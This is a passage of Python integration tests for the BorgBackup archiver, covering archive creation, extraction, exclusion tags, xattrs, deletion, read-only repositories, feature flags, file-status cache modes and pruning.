_create_test_keep_tagged(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('file0', size=1024) self.create_regular_file('tagged1/.NOBACKUP1') self.create_regular_file('tagged1/file1', size=1024) self.create_regular_file('tagged2/.NOBACKUP2/subfile1', size=1024) self.create_regular_file('tagged2/file2', size=1024) self.create_regular_file('tagged3/%s' % CACHE_TAG_NAME, contents=CACHE_TAG_CONTENTS + b' extra stuff') self.create_regular_file('tagged3/file3', size=1024) self.create_regular_file('taggedall/.NOBACKUP1') self.create_regular_file('taggedall/.NOBACKUP2/subfile1', size=1024) self.create_regular_file('taggedall/%s' % CACHE_TAG_NAME, contents=CACHE_TAG_CONTENTS + b' extra stuff') self.create_regular_file('taggedall/file4', size=1024) def _assert_test_keep_tagged(self): with changedir('output'): self.cmd('extract', self.repository_location + '::test') self.assert_equal(sorted(os.listdir('output/input')), ['file0', 'tagged1', 'tagged2', 'tagged3', 'taggedall']) self.assert_equal(os.listdir('output/input/tagged1'), ['.NOBACKUP1']) self.assert_equal(os.listdir('output/input/tagged2'), ['.NOBACKUP2']) self.assert_equal(os.listdir('output/input/tagged3'), [CACHE_TAG_NAME]) self.assert_equal(sorted(os.listdir('output/input/taggedall')), ['.NOBACKUP1', '.NOBACKUP2', CACHE_TAG_NAME, ]) def test_exclude_keep_tagged(self): self._create_test_keep_tagged() self.cmd('create', '--exclude-if-present', '.NOBACKUP1', '--exclude-if-present', '.NOBACKUP2', '--exclude-caches', '--keep-exclude-tags', self.repository_location + '::test', 'input') self._assert_test_keep_tagged() def test_recreate_exclude_keep_tagged(self): self._create_test_keep_tagged() self.cmd('create', self.repository_location + '::test', 'input') self.cmd('recreate', '--exclude-if-present', '.NOBACKUP1', '--exclude-if-present', '.NOBACKUP2', '--exclude-caches', '--keep-exclude-tags', self.repository_location + '::test') self._assert_test_keep_tagged() @pytest.mark.skipif(not are_hardlinks_supported(), reason='hardlinks not supported') def test_recreate_hardlinked_tags(self): # test for issue #4911 self.cmd('init', '--encryption=none', self.repository_location) self.create_regular_file('file1', contents=CACHE_TAG_CONTENTS) # "wrong" filename, but correct tag contents os.mkdir(os.path.join(self.input_path, 'subdir')) # to make sure the tag is encountered *after* file1 os.link(os.path.join(self.input_path, 'file1'), os.path.join(self.input_path, 'subdir', CACHE_TAG_NAME)) # correct tag name, hardlink to file1 self.cmd('create', self.repository_location + '::test', 'input') # in the "test" archive, we now have, in this order: # - a regular file item for "file1" # - a hardlink item for "CACHEDIR.TAG" referring back to file1 for its contents self.cmd('recreate', '--exclude-caches', '--keep-exclude-tags', self.repository_location + '::test') # if issue #4911 is present, the recreate will crash with a KeyError for "input/file1" @pytest.mark.skipif(not xattr.XATTR_FAKEROOT, reason='Linux capabilities test, requires fakeroot >= 1.20.2') def test_extract_capabilities(self): fchown = os.fchown # We need to manually patch chown to get the behaviour Linux has, since fakeroot does not # accurately model the interaction of chown(2) and Linux capabilities, i.e. it does not remove them. def patched_fchown(fd, uid, gid): xattr.setxattr(fd, b'security.capability', b'', follow_symlinks=False) fchown(fd, uid, gid) # The capability descriptor used here is valid and taken from a /usr/bin/ping capabilities = b'\x01\x00\x00\x02\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' self.create_regular_file('file') xattr.setxattr(b'input/file', b'security.capability', capabilities) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') with changedir('output'): with patch.object(os, 'fchown', patched_fchown): self.cmd('extract', self.repository_location + '::test') assert xattr.getxattr(b'input/file', b'security.capability') == capabilities @pytest.mark.skipif(not xattr.XATTR_FAKEROOT, reason='xattr not supported on this system or on this version of' 'fakeroot') def test_extract_xattrs_errors(self): def patched_setxattr_E2BIG(*args, **kwargs): raise OSError(errno.E2BIG, 'E2BIG') def patched_setxattr_ENOTSUP(*args, **kwargs): raise OSError(errno.ENOTSUP, 'ENOTSUP') def patched_setxattr_EACCES(*args, **kwargs): raise OSError(errno.EACCES, 'EACCES') self.create_regular_file('file') xattr.setxattr(b'input/file', b'user.attribute', b'value') self.cmd('init', self.repository_location, '-e' 'none') self.cmd('create', self.repository_location + '::test', 'input') with changedir('output'): input_abspath = os.path.abspath('input/file') with patch.object(xattr, 'setxattr', patched_setxattr_E2BIG): out = self.cmd('extract', self.repository_location + '::test', exit_code=EXIT_WARNING) assert ': when setting extended attribute user.attribute: too big for this filesystem\n' in out os.remove(input_abspath) with patch.object(xattr, 'setxattr', patched_setxattr_ENOTSUP): out = self.cmd('extract', self.repository_location + '::test', exit_code=EXIT_WARNING) assert ': when setting extended attribute user.attribute: xattrs not supported on this filesystem\n' in out os.remove(input_abspath) with patch.object(xattr, 'setxattr', patched_setxattr_EACCES): out = self.cmd('extract', self.repository_location + '::test', exit_code=EXIT_WARNING) assert ': when setting extended attribute user.attribute: Permission denied\n' in out assert os.path.isfile(input_abspath) def test_path_normalization(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('dir1/dir2/file', size=1024 * 80) with changedir('input/dir1/dir2'): self.cmd('create', self.repository_location + '::test', '../../../input/dir1/../dir1/dir2/..') output = self.cmd('list', self.repository_location + '::test') self.assert_not_in('..', output) self.assert_in(' input/dir1/dir2/file', output) def test_exclude_normalization(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('file1', size=1024 * 80) self.create_regular_file('file2', size=1024 * 80) with changedir('input'): self.cmd('create', '--exclude=file1', self.repository_location + '::test1', '.') with changedir('output'): self.cmd('extract', self.repository_location + '::test1') self.assert_equal(sorted(os.listdir('output')), ['file2']) with changedir('input'): self.cmd('create', '--exclude=./file1', self.repository_location + '::test2', '.') with changedir('output'): self.cmd('extract', self.repository_location + '::test2') self.assert_equal(sorted(os.listdir('output')), ['file2']) self.cmd('create', '--exclude=input/./file1', self.repository_location + '::test3', 'input') with changedir('output'): self.cmd('extract', self.repository_location + '::test3') self.assert_equal(sorted(os.listdir('output/input')), ['file2']) def test_repeated_files(self): self.create_regular_file('file1', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input', 'input') def test_overwrite(self): self.create_regular_file('file1', size=1024 * 80) self.create_regular_file('dir2/file2', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') # Overwriting regular files and directories should be supported os.mkdir('output/input') os.mkdir('output/input/file1') os.mkdir('output/input/dir2') with changedir('output'): self.cmd('extract', self.repository_location + '::test') self.assert_dirs_equal('input', 'output/input') # But non-empty dirs should fail os.unlink('output/input/file1') os.mkdir('output/input/file1') os.mkdir('output/input/file1/dir') with changedir('output'): self.cmd('extract', self.repository_location + '::test', exit_code=1) def test_rename(self): self.create_regular_file('file1', size=1024 * 80) self.create_regular_file('dir2/file2', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') self.cmd('create', self.repository_location + '::test.2', 'input') self.cmd('extract', '--dry-run', self.repository_location + '::test') self.cmd('extract', '--dry-run', self.repository_location + '::test.2') self.cmd('rename', self.repository_location + '::test', 'test.3') self.cmd('extract', '--dry-run', self.repository_location + '::test.2') self.cmd('rename', self.repository_location + '::test.2', 'test.4') self.cmd('extract', '--dry-run', self.repository_location + '::test.3') self.cmd('extract', '--dry-run', self.repository_location + '::test.4') # Make sure both archives have been renamed with Repository(self.repository_path) as repository: manifest, key = Manifest.load(repository, Manifest.NO_OPERATION_CHECK) self.assert_equal(len(manifest.archives), 2) self.assert_in('test.3', manifest.archives) self.assert_in('test.4', manifest.archives) def test_info(self): self.create_regular_file('file1', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') info_repo = self.cmd('info', self.repository_location) assert 'All archives:' in info_repo info_archive = self.cmd('info', self.repository_location + '::test') assert 'Archive name: test\n' in info_archive info_archive = self.cmd('info', '--first', '1', self.repository_location) assert 'Archive name: test\n' in info_archive def test_info_json(self): self.create_regular_file('file1', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') info_repo = json.loads(self.cmd('info', '--json', self.repository_location)) repository = info_repo['repository'] assert len(repository['id']) == 64 assert 'last_modified' in repository assert datetime.strptime(repository['last_modified'], ISO_FORMAT) # must not raise assert info_repo['encryption']['mode'] == 'repokey' assert 'keyfile' not in info_repo['encryption'] cache = info_repo['cache'] stats = cache['stats'] assert all(isinstance(o, int) for o in stats.values()) assert all(key in stats for key in ('total_chunks', 'total_csize', 'total_size', 'total_unique_chunks', 'unique_csize', 'unique_size')) info_archive = json.loads(self.cmd('info', '--json', self.repository_location + '::test')) assert info_repo['repository'] == info_archive['repository'] assert info_repo['cache'] == info_archive['cache'] archives = info_archive['archives'] assert len(archives) == 1 archive = archives[0] assert archive['name'] == 'test' assert isinstance(archive['command_line'], list) assert isinstance(archive['duration'], float) assert len(archive['id']) == 64 assert 'stats' in archive assert datetime.strptime(archive['start'], ISO_FORMAT) assert datetime.strptime(archive['end'], ISO_FORMAT) def test_info_json_of_empty_archive(self): """See https://github.com/borgbackup/borg/issues/6120""" self.cmd('init', '--encryption=repokey', self.repository_location) info_repo = json.loads(self.cmd('info', '--json', '--first=1', self.repository_location)) assert info_repo["archives"] == [] info_repo = json.loads(self.cmd('info', '--json', '--last=1', self.repository_location)) assert info_repo["archives"] == [] def test_comment(self): self.create_regular_file('file1', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test1', 'input') self.cmd('create', '--comment', 'this is the comment', self.repository_location + '::test2', 'input') self.cmd('create', '--comment', '"deleted" comment', self.repository_location + '::test3', 'input') self.cmd('create', '--comment', 'preserved comment', self.repository_location + '::test4', 'input') assert 'Comment: \n' in self.cmd('info', self.repository_location + '::test1') assert 'Comment: this is the comment' in self.cmd('info', self.repository_location + '::test2') self.cmd('recreate', self.repository_location + '::test1', '--comment', 'added comment') self.cmd('recreate', self.repository_location + '::test2', '--comment', 'modified comment') self.cmd('recreate', self.repository_location + '::test3', '--comment', '') self.cmd('recreate', self.repository_location + '::test4', '12345') assert 'Comment: added comment' in self.cmd('info', self.repository_location + '::test1') assert 'Comment: modified comment' in self.cmd('info', self.repository_location + '::test2') assert 'Comment: \n' in self.cmd('info', self.repository_location + '::test3') assert 'Comment: preserved comment' in self.cmd('info', self.repository_location + '::test4') def test_delete(self): self.create_regular_file('file1', size=1024 * 80) self.create_regular_file('dir2/file2', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') self.cmd('create', self.repository_location + '::test.2', 'input') self.cmd('create', self.repository_location + '::test.3', 'input') self.cmd('create', self.repository_location + '::another_test.1', 'input') self.cmd('create', self.repository_location + '::another_test.2', 'input') self.cmd('extract', '--dry-run', self.repository_location + '::test') self.cmd('extract', '--dry-run', self.repository_location + '::test.2') self.cmd('delete', '--prefix', 'another_', self.repository_location) self.cmd('delete', '--last', '1', self.repository_location) self.cmd('delete', self.repository_location + '::test') self.cmd('extract', '--dry-run', self.repository_location + '::test.2') output = self.cmd('delete', '--stats', self.repository_location + '::test.2') self.assert_in('Deleted data:', output) # Make sure all data except the manifest has been deleted with Repository(self.repository_path) as repository: self.assert_equal(len(repository), 1) def test_delete_multiple(self): self.create_regular_file('file1', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test1', 'input') self.cmd('create', self.repository_location + '::test2', 'input') self.cmd('create', self.repository_location + '::test3', 'input') self.cmd('delete', self.repository_location + '::test1', 'test2') self.cmd('extract', '--dry-run', self.repository_location + '::test3') self.cmd('delete', self.repository_location, 'test3') assert not self.cmd('list', self.repository_location) def test_delete_repo(self): self.create_regular_file('file1', size=1024 * 80) self.create_regular_file('dir2/file2', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') self.cmd('create', self.repository_location + '::test.2', 'input') os.environ['BORG_DELETE_I_KNOW_WHAT_I_AM_DOING'] = 'no' self.cmd('delete', self.repository_location, exit_code=2) assert os.path.exists(self.repository_path) os.environ['BORG_DELETE_I_KNOW_WHAT_I_AM_DOING'] = 'YES' self.cmd('delete', self.repository_location) # Make sure the repo is gone self.assertFalse(os.path.exists(self.repository_path)) def test_delete_force(self): self.cmd('init', '--encryption=none', self.repository_location) self.create_src_archive('test') with Repository(self.repository_path, exclusive=True) as repository: manifest, key = Manifest.load(repository, Manifest.NO_OPERATION_CHECK) archive = Archive(repository, key, manifest, 'test') for item in archive.iter_items(): if item.path.endswith('testsuite/archiver.py'): repository.delete(item.chunks[-1].id) break else: assert False # missed the file repository.commit(compact=False) output = self.cmd('delete', '--force', self.repository_location + '::test') self.assert_in('deleted archive was corrupted', output) self.cmd('check', '--repair', self.repository_location) output = self.cmd('list', self.repository_location) self.assert_not_in('test', output) def test_delete_double_force(self): self.cmd('init', '--encryption=none', self.repository_location) self.create_src_archive('test') with Repository(self.repository_path, exclusive=True) as repository: manifest, key = Manifest.load(repository, Manifest.NO_OPERATION_CHECK) archive = Archive(repository, key, manifest, 'test') id = archive.metadata.items[0] repository.put(id, b'corrupted items metadata stream chunk') repository.commit(compact=False) self.cmd('delete', '--force', '--force', self.repository_location + '::test') self.cmd('check', '--repair', self.repository_location) output = self.cmd('list', self.repository_location) self.assert_not_in('test', output) def test_corrupted_repository(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_src_archive('test') self.cmd('extract', '--dry-run', self.repository_location + '::test') output = self.cmd('check', '--show-version', self.repository_location) self.assert_in('borgbackup version', output) # implied output even without --info given self.assert_not_in('Starting repository check', output) # --info not given for root logger name = sorted(os.listdir(os.path.join(self.tmpdir, 'repository', 'data', '0')), reverse=True)[1] with open(os.path.join(self.tmpdir, 'repository', 'data', '0', name), 'r+b') as fd: fd.seek(100) fd.write(b'XXXX') output = self.cmd('check', '--info', self.repository_location, exit_code=1) self.assert_in('Starting repository check', output) # --info given for root logger def test_readonly_check(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_src_archive('test') with self.read_only(self.repository_path): # verify that command normally doesn't work with read-only repo if self.FORK_DEFAULT: self.cmd('check', '--verify-data', self.repository_location, exit_code=EXIT_ERROR) else: with pytest.raises((LockFailed, RemoteRepository.RPCError)) as excinfo: self.cmd('check', '--verify-data', self.repository_location) if isinstance(excinfo.value, RemoteRepository.RPCError): assert excinfo.value.exception_class == 'LockFailed' # verify that command works with read-only repo when using --bypass-lock self.cmd('check', '--verify-data', self.repository_location, '--bypass-lock') def test_readonly_diff(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_src_archive('a') self.create_src_archive('b') with self.read_only(self.repository_path): # verify that command normally doesn't work with read-only repo if self.FORK_DEFAULT: self.cmd('diff', '%s::a' % self.repository_location, 'b', exit_code=EXIT_ERROR) else: with pytest.raises((LockFailed, RemoteRepository.RPCError)) as excinfo: self.cmd('diff', '%s::a' % self.repository_location, 'b') if isinstance(excinfo.value, RemoteRepository.RPCError): assert excinfo.value.exception_class == 'LockFailed' # verify that command works with read-only repo when using --bypass-lock self.cmd('diff', '%s::a' % self.repository_location, 'b', '--bypass-lock') def test_readonly_export_tar(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_src_archive('test') with self.read_only(self.repository_path): # verify that command normally doesn't work with read-only repo if self.FORK_DEFAULT: self.cmd('export-tar', '%s::test' % self.repository_location, 'test.tar', exit_code=EXIT_ERROR) else: with pytest.raises((LockFailed, RemoteRepository.RPCError)) as excinfo: self.cmd('export-tar', '%s::test' % self.repository_location, 'test.tar') if isinstance(excinfo.value, RemoteRepository.RPCError): assert excinfo.value.exception_class == 'LockFailed' # verify that command works with read-only repo when using --bypass-lock self.cmd('export-tar', '%s::test' % self.repository_location, 'test.tar', '--bypass-lock') def test_readonly_extract(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_src_archive('test') with self.read_only(self.repository_path): # verify that command normally doesn't work with read-only repo if self.FORK_DEFAULT: self.cmd('extract', '%s::test' % self.repository_location, exit_code=EXIT_ERROR) else: with pytest.raises((LockFailed, RemoteRepository.RPCError)) as excinfo: self.cmd('extract', '%s::test' % self.repository_location) if isinstance(excinfo.value, RemoteRepository.RPCError): assert excinfo.value.exception_class == 'LockFailed' # verify that command works with read-only repo when using --bypass-lock self.cmd('extract', '%s::test' % self.repository_location, '--bypass-lock') def test_readonly_info(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_src_archive('test') with self.read_only(self.repository_path): # verify that command normally doesn't work with read-only repo if self.FORK_DEFAULT: self.cmd('info', self.repository_location, exit_code=EXIT_ERROR) else: with pytest.raises((LockFailed, RemoteRepository.RPCError)) as excinfo: self.cmd('info', self.repository_location) if isinstance(excinfo.value, RemoteRepository.RPCError): assert excinfo.value.exception_class == 'LockFailed' # verify that command works with read-only repo when using --bypass-lock self.cmd('info', self.repository_location, '--bypass-lock') def test_readonly_list(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_src_archive('test') with self.read_only(self.repository_path): # verify that command normally doesn't work with read-only repo if self.FORK_DEFAULT: self.cmd('list', self.repository_location, exit_code=EXIT_ERROR) else: with pytest.raises((LockFailed, RemoteRepository.RPCError)) as excinfo: self.cmd('list', self.repository_location) if isinstance(excinfo.value, RemoteRepository.RPCError): assert excinfo.value.exception_class == 'LockFailed' # verify that command works with read-only repo when using --bypass-lock self.cmd('list', self.repository_location, '--bypass-lock') @unittest.skipUnless(llfuse, 'llfuse not installed') def test_readonly_mount(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_src_archive('test') with self.read_only(self.repository_path): # verify that command normally doesn't work with read-only repo if self.FORK_DEFAULT: with self.fuse_mount(self.repository_location, exit_code=EXIT_ERROR): pass else: with pytest.raises((LockFailed, RemoteRepository.RPCError)) as excinfo: # self.fuse_mount always assumes fork=True, so for this test we have to manually set fork=False with self.fuse_mount(self.repository_location, fork=False): pass if isinstance(excinfo.value, RemoteRepository.RPCError): assert excinfo.value.exception_class == 'LockFailed' # verify that command works with read-only repo when using --bypass-lock with self.fuse_mount(self.repository_location, None, '--bypass-lock'): pass @pytest.mark.skipif('BORG_TESTS_IGNORE_MODES' in os.environ, reason='modes unreliable') def test_umask(self): self.create_regular_file('file1', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') mode = os.stat(self.repository_path).st_mode self.assertEqual(stat.S_IMODE(mode), 0o700) def test_create_dry_run(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', '--dry-run', self.repository_location + '::test', 'input') # Make sure no archive has been created with Repository(self.repository_path) as repository: manifest, key = Manifest.load(repository, Manifest.NO_OPERATION_CHECK) self.assert_equal(len(manifest.archives), 0) def add_unknown_feature(self, operation): with Repository(self.repository_path, exclusive=True) as repository: manifest, key = Manifest.load(repository, Manifest.NO_OPERATION_CHECK) manifest.config[b'feature_flags'] = {operation.value.encode(): {b'mandatory': [b'unknown-feature']}} manifest.write() repository.commit(compact=False) def cmd_raises_unknown_feature(self, args): if self.FORK_DEFAULT: self.cmd(*args, exit_code=EXIT_ERROR) else: with pytest.raises(MandatoryFeatureUnsupported) as excinfo: self.cmd(*args) assert excinfo.value.args == (['unknown-feature'],) def test_unknown_feature_on_create(self): print(self.cmd('init', '--encryption=repokey', self.repository_location)) self.add_unknown_feature(Manifest.Operation.WRITE) self.cmd_raises_unknown_feature(['create', self.repository_location + '::test', 'input']) def test_unknown_feature_on_cache_sync(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('delete', '--cache-only', self.repository_location) self.add_unknown_feature(Manifest.Operation.READ) self.cmd_raises_unknown_feature(['create', self.repository_location + '::test', 'input']) def test_unknown_feature_on_change_passphrase(self): print(self.cmd('init', '--encryption=repokey', self.repository_location)) self.add_unknown_feature(Manifest.Operation.CHECK) self.cmd_raises_unknown_feature(['key', 'change-passphrase', self.repository_location]) def test_unknown_feature_on_read(self): print(self.cmd('init', '--encryption=repokey', self.repository_location)) self.cmd('create', self.repository_location + '::test', 'input') self.add_unknown_feature(Manifest.Operation.READ) with changedir('output'): self.cmd_raises_unknown_feature(['extract', self.repository_location + '::test']) self.cmd_raises_unknown_feature(['list', self.repository_location]) self.cmd_raises_unknown_feature(['info', self.repository_location + '::test']) def test_unknown_feature_on_rename(self): print(self.cmd('init', '--encryption=repokey', self.repository_location)) self.cmd('create', self.repository_location + '::test', 'input') self.add_unknown_feature(Manifest.Operation.CHECK) self.cmd_raises_unknown_feature(['rename', self.repository_location + '::test', 'other']) def test_unknown_feature_on_delete(self): print(self.cmd('init', '--encryption=repokey', self.repository_location)) self.cmd('create', self.repository_location + '::test', 'input') self.add_unknown_feature(Manifest.Operation.DELETE) # delete of an archive raises self.cmd_raises_unknown_feature(['delete', self.repository_location + '::test']) self.cmd_raises_unknown_feature(['prune', '--keep-daily=3', self.repository_location]) # delete of the whole repository ignores features self.cmd('delete', self.repository_location) @unittest.skipUnless(llfuse, 'llfuse not installed') def test_unknown_feature_on_mount(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') self.add_unknown_feature(Manifest.Operation.READ) mountpoint = os.path.join(self.tmpdir, 'mountpoint') os.mkdir(mountpoint) # XXX this might hang if it doesn't raise an error self.cmd_raises_unknown_feature(['mount', self.repository_location + '::test', mountpoint]) @pytest.mark.allow_cache_wipe def test_unknown_mandatory_feature_in_cache(self): if self.prefix: path_prefix = 'ssh://__testsuite__' else: path_prefix = '' print(self.cmd('init', '--encryption=repokey', self.repository_location)) with Repository(self.repository_path, exclusive=True) as repository: if path_prefix: repository._location = Location(self.repository_location) manifest, key = Manifest.load(repository, Manifest.NO_OPERATION_CHECK) with Cache(repository, key, manifest) as cache: cache.begin_txn() cache.cache_config.mandatory_features = {'unknown-feature'} cache.commit() if self.FORK_DEFAULT: self.cmd('create', self.repository_location + '::test', 'input') else: called = False wipe_cache_safe = LocalCache.wipe_cache def wipe_wrapper(*args): nonlocal called called = True wipe_cache_safe(*args) with patch.object(LocalCache, 'wipe_cache', wipe_wrapper): self.cmd('create', self.repository_location + '::test', 'input') assert called with Repository(self.repository_path, exclusive=True) as repository: if path_prefix: repository._location = Location(self.repository_location) manifest, key = Manifest.load(repository, Manifest.NO_OPERATION_CHECK) with Cache(repository, key, manifest) as cache: assert cache.cache_config.mandatory_features == set() def test_progress_on(self): self.create_regular_file('file1', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) output = self.cmd('create', '--progress', self.repository_location + '::test4', 'input') self.assert_in("\r", output) def test_progress_off(self): self.create_regular_file('file1', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) output = self.cmd('create', self.repository_location + '::test5', 'input') self.assert_not_in("\r", output) def test_file_status(self): """test that various file status show expected results clearly incomplete: only tests for the weird "unchanged" status for now""" self.create_regular_file('file1', size=1024 * 80) time.sleep(1) # file2 must have newer timestamps than file1 self.create_regular_file('file2', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) output = self.cmd('create', '--list', self.repository_location + '::test', 'input') self.assert_in("A input/file1", output) self.assert_in("A input/file2", output) # should find first file as unmodified output = self.cmd('create', '--list', self.repository_location + '::test1', 'input') self.assert_in("U input/file1", output) # this is expected, although surprising, for why, see: # https://borgbackup.readthedocs.org/en/latest/faq.html#i-am-seeing-a-added-status-for-a-unchanged-file self.assert_in("A input/file2", output) def test_file_status_cs_cache_mode(self): """test that a changed file with faked "previous" mtime still gets backed up in ctime,size cache_mode""" self.create_regular_file('file1', contents=b'123') time.sleep(1) # file2 must have newer timestamps than file1 self.create_regular_file('file2', size=10) self.cmd('init', '--encryption=repokey', self.repository_location) output = self.cmd('create', '--list', '--files-cache=ctime,size', self.repository_location + '::test1', 'input') # modify file1, but cheat with the mtime (and atime) and also keep same size: st = os.stat('input/file1') self.create_regular_file('file1', contents=b'321') os.utime('input/file1', ns=(st.st_atime_ns, st.st_mtime_ns)) # this mode uses ctime for change detection, so it should find file1 as modified output = self.cmd('create', '--list', '--files-cache=ctime,size', self.repository_location + '::test2', 'input') self.assert_in("M input/file1", output) def test_file_status_ms_cache_mode(self): """test that a chmod'ed file with no content changes does not get chunked again in mtime,size cache_mode""" self.create_regular_file('file1', size=10) time.sleep(1) # file2 must have newer timestamps than file1 self.create_regular_file('file2', size=10) self.cmd('init', '--encryption=repokey', self.repository_location) output = self.cmd('create', '--list', '--files-cache=mtime,size', self.repository_location + '::test1', 'input') # change mode of file1, no content change: st = os.stat('input/file1') os.chmod('input/file1', st.st_mode ^ stat.S_IRWXO) # this triggers a ctime change, but mtime is unchanged # this mode uses mtime for change detection, so it should find file1 as unmodified output = self.cmd('create', '--list', '--files-cache=mtime,size', self.repository_location + '::test2', 'input') self.assert_in("U input/file1", output) def test_file_status_rc_cache_mode(self): """test that files get rechunked unconditionally in rechunk,ctime cache mode""" self.create_regular_file('file1', size=10) time.sleep(1) # file2 must have newer timestamps than file1 self.create_regular_file('file2', size=10) self.cmd('init', '--encryption=repokey', self.repository_location) output = self.cmd('create', '--list', '--files-cache=rechunk,ctime', self.repository_location + '::test1', 'input') # no changes here, but this mode rechunks unconditionally output = self.cmd('create', '--list', '--files-cache=rechunk,ctime', self.repository_location + '::test2', 'input') self.assert_in("A input/file1", output) def test_file_status_excluded(self): """test that excluded paths are listed""" self.create_regular_file('file1', size=1024 * 80) time.sleep(1) # file2 must have newer timestamps than file1 self.create_regular_file('file2', size=1024 * 80) if has_lchflags: self.create_regular_file('file3', size=1024 * 80) platform.set_flags(os.path.join(self.input_path, 'file3'), stat.UF_NODUMP) self.cmd('init', '--encryption=repokey', self.repository_location) output = self.cmd('create', '--list', '--exclude-nodump', self.repository_location + '::test', 'input') self.assert_in("A input/file1", output) self.assert_in("A input/file2", output) if has_lchflags: self.assert_in("x input/file3", output) # should find second file as excluded output = self.cmd('create', '--list', '--exclude-nodump', self.repository_location + '::test1', 'input', '--exclude', '*/file2') self.assert_in("U input/file1", output) self.assert_in("x input/file2", output) if has_lchflags: self.assert_in("x input/file3", output) def test_create_json(self): self.create_regular_file('file1', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) create_info = json.loads(self.cmd('create', '--json', self.repository_location + '::test', 'input')) # The usual keys assert 'encryption' in create_info assert 'repository' in create_info assert 'cache' in create_info assert 'last_modified' in create_info['repository'] archive = create_info['archive'] assert archive['name'] == 'test' assert isinstance(archive['command_line'], list) assert isinstance(archive['duration'], float) assert len(archive['id']) == 64 assert 'stats' in archive def test_create_topical(self): self.create_regular_file('file1', size=1024 * 80) time.sleep(1) # file2 must have newer timestamps than file1 self.create_regular_file('file2', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) # no listing by default output = self.cmd('create', self.repository_location + '::test', 'input') self.assert_not_in('file1', output) # shouldn't be listed even if unchanged output = self.cmd('create', self.repository_location + '::test0', 'input') self.assert_not_in('file1', output) # should list the file as unchanged output = self.cmd('create', '--list', '--filter=U', self.repository_location + '::test1', 'input') self.assert_in('file1', output) # should *not* list the file as changed output = self.cmd('create', '--list', '--filter=AM', self.repository_location + '::test2', 'input') self.assert_not_in('file1', output) # change the file self.create_regular_file('file1', size=1024 * 100) # should list the file as changed output = self.cmd('create', '--list', '--filter=AM', self.repository_location + '::test3', 'input') self.assert_in('file1', output) @pytest.mark.skipif(not are_fifos_supported(), reason='FIFOs not supported') def test_create_read_special_symlink(self): from threading import Thread def fifo_feeder(fifo_fn, data): fd = os.open(fifo_fn, os.O_WRONLY) try: os.write(fd, data) finally: os.close(fd) self.cmd('init', '--encryption=repokey', self.repository_location) archive = self.repository_location + '::test' data = b'foobar' * 1000 fifo_fn = os.path.join(self.input_path, 'fifo') link_fn = os.path.join(self.input_path, 'link_fifo') os.mkfifo(fifo_fn) os.symlink(fifo_fn, link_fn) t = Thread(target=fifo_feeder, args=(fifo_fn, data)) t.start() try: self.cmd('create', '--read-special', archive, 'input/link_fifo') finally: t.join() with changedir('output'): self.cmd('extract', archive) fifo_fn = 'input/link_fifo' with open(fifo_fn, 'rb') as f: extracted_data = f.read() assert extracted_data == data def test_create_read_special_broken_symlink(self): os.symlink('somewhere does not exist', os.path.join(self.input_path, 'link')) self.cmd('init', '--encryption=repokey', self.repository_location) archive = self.repository_location + '::test' self.cmd('create', '--read-special', archive, 'input') output = self.cmd('list', archive) assert 'input/link -> somewhere does not exist' in output # def test_cmdline_compatibility(self): # self.create_regular_file('file1', size=1024 * 80) # self.cmd('init', '--encryption=repokey', self.repository_location) # self.cmd('create', self.repository_location + '::test', 'input') # output = self.cmd('foo', self.repository_location, '--old') # self.assert_in('"--old" has been deprecated. Use "--new" instead', output) def test_prune_repository(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test1', src_dir) self.cmd('create', self.repository_location + '::test2', src_dir) # these are not really a checkpoints, but they look like some: self.cmd('create', self.repository_location + '::test3.checkpoint', src_dir) self.cmd('create', self.repository_location + '::test3.checkpoint.1', src_dir) self.cmd('create', self.repository_location + '::test4.checkpoint', src_dir) output = self.cmd('prune', '--list', '--dry-run', self.repository_location, '--keep-daily=1') assert re.search(r'Would prune:\s+test1', output) # must keep the latest non-checkpoint archive: assert re.search(r'Keeping archive \(rule: daily #1\):\s+test2', output) # must keep the latest checkpoint archive: assert re.search(r'Keeping checkpoint archive:\s+test4.checkpoint', output) output = self.cmd('list', '--consider-checkpoints', self.repository_location) self.assert_in('test1', output) self.assert_in('test2', output) self.assert_in('test3.checkpoint', output) self.assert_in('test3.checkpoint.1', output) 